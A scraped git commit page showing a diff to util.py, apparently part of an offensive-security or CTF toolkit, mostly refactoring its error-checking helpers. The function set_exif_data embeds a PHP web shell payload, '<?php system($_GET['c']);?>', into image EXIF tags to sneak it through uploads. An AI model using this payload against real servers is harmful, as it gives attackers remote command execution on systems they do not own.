fix
This commit is contained in:
parent
7e87a9f3e9
commit
9e6432d976
34
util.py
34
util.py
@ -5,7 +5,6 @@ import socket
|
|||||||
import netifaces as ni
|
import netifaces as ni
|
||||||
import string
|
import string
|
||||||
import sys
|
import sys
|
||||||
import exif
|
|
||||||
import os
|
import os
|
||||||
import io
|
import io
|
||||||
from PIL import Image
|
from PIL import Image
|
||||||
@ -46,22 +45,26 @@ def exit_with_error(res, err):
|
|||||||
|
|
||||||
def assert_status_code(res, status_code, err=None):
|
def assert_status_code(res, status_code, err=None):
|
||||||
if res.status_code != status_code:
|
if res.status_code != status_code:
|
||||||
err = f"[-] Server returned unexpected status code {res.status_code}, expected: {status_code}" if err is None else err
|
err = f"[-] '{res.url}' returned unexpected status code {res.status_code}, expected: {status_code}" if err is None else err
|
||||||
exit_with_error(res, err)
|
exit_with_error(res, err)
|
||||||
exit()
|
|
||||||
|
def assert_header_present(res, header, err=None):
|
||||||
|
if header in res.headers:
|
||||||
|
return
|
||||||
|
|
||||||
|
err = f"[-] '{res.url}' did not return header: {header}" if err is None else err
|
||||||
|
exit_with_error(res, err)
|
||||||
|
|
||||||
def assert_content_type(res, content_type, err=None):
|
def assert_content_type(res, content_type, err=None):
|
||||||
if "Content-Type" in res.headers:
|
assert_header_present(res, "Content-Type")
|
||||||
return
|
|
||||||
content_type_header = res.headers["Content-Type"].lower()
|
content_type_header = res.headers["Content-Type"].lower()
|
||||||
if content_type_header == content_type.lower():
|
if content_type_header == content_type.lower():
|
||||||
return
|
return
|
||||||
if content_type_header.lower().startswith(content_type.lower() + ";"):
|
if content_type_header.lower().startswith(content_type.lower() + ";"):
|
||||||
return
|
return
|
||||||
|
|
||||||
err = f"[-] Server returned unexpected status code {res.status_code}, expected: {status_code}" if err is None else err
|
err = f"[-] '{res.url}' returned unexpected content type {content_type_header}, expected: {content_type}" if err is None else err
|
||||||
exit_with_error(res, err)
|
exit_with_error(res, err)
|
||||||
exit()
|
|
||||||
|
|
||||||
def openServer(address, ports=None):
|
def openServer(address, ports=None):
|
||||||
listenPort = None
|
listenPort = None
|
||||||
@ -147,6 +150,7 @@ def pad(x, n):
|
|||||||
return x
|
return x
|
||||||
|
|
||||||
def set_exif_data(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_tag=None):
|
def set_exif_data(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_tag=None):
|
||||||
|
import exif
|
||||||
|
|
||||||
if _in is None or (isinstance(_in, str) and not os.path.exists(_in)):
|
if _in is None or (isinstance(_in, str) and not os.path.exists(_in)):
|
||||||
_in = Image.new("RGB", (50,50), (255,255,255))
|
_in = Image.new("RGB", (50,50), (255,255,255))
|
||||||
@ -159,7 +163,7 @@ def set_exif_data(payload="<?php system($_GET['c']);?>", _in=None, _out=None, ex
|
|||||||
_in = exif.Image(bytes.getvalue())
|
_in = exif.Image(bytes.getvalue())
|
||||||
elif not isinstance(_in, exif.Image):
|
elif not isinstance(_in, exif.Image):
|
||||||
print("Invalid input. Either give an Image or a path to an image.")
|
print("Invalid input. Either give an Image or a path to an image.")
|
||||||
return
|
exit()
|
||||||
|
|
||||||
valid_tags = list(exif._constants.ATTRIBUTE_NAME_MAP.values())
|
valid_tags = list(exif._constants.ATTRIBUTE_NAME_MAP.values())
|
||||||
if exif_tag is None:
|
if exif_tag is None:
|
||||||
@ -167,17 +171,19 @@ def set_exif_data(payload="<?php system($_GET['c']);?>", _in=None, _out=None, ex
|
|||||||
elif exif_tag == "all":
|
elif exif_tag == "all":
|
||||||
for exif_tag in valid_tags:
|
for exif_tag in valid_tags:
|
||||||
try:
|
try:
|
||||||
_in[exif_tag] = payload
|
print("Setting exif tag:", exif_tag)
|
||||||
print("adding:", exif_tag)
|
_in.set(exif_tag, payload)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
|
print("Error setting exif tag:", exif_tag, str(e))
|
||||||
pass
|
pass
|
||||||
else:
|
else:
|
||||||
if exif_tag not in valid_tags:
|
if exif_tag not in valid_tags:
|
||||||
print("Invalid exif-tag. Choose one of the following:")
|
print("Invalid exif-tag. Choose one of the following:")
|
||||||
print(", ".join(valid_tags))
|
print(", ".join(valid_tags))
|
||||||
return
|
exit()
|
||||||
|
|
||||||
|
res = _in.set(exif_tag, payload)
|
||||||
|
|
||||||
_in[exif_tag] = payload
|
|
||||||
|
|
||||||
if _out is None:
|
if _out is None:
|
||||||
return _in.get_file()
|
return _in.get_file()
|
||||||
@ -280,9 +286,7 @@ if __name__ == "__main__":
|
|||||||
else:
|
else:
|
||||||
_out = ".".join(_out[0:-1]) + "_exif." + _out[-1]
|
_out = ".".join(_out[0:-1]) + "_exif." + _out[-1]
|
||||||
|
|
||||||
output = set_exif_data(payload, _in, _out, tag)
|
set_exif_data(payload, _in, _out, tag)
|
||||||
sys.stdout.buffer.write(output)
|
|
||||||
sys.stdout.flush()
|
|
||||||
else:
|
else:
|
||||||
print("Usage: %s [command]" % bin)
|
print("Usage: %s [command]" % bin)
|
||||||
print("Available commands:")
|
print("Available commands:")
|
||||||
|
Loading…
Reference in New Issue
Block a user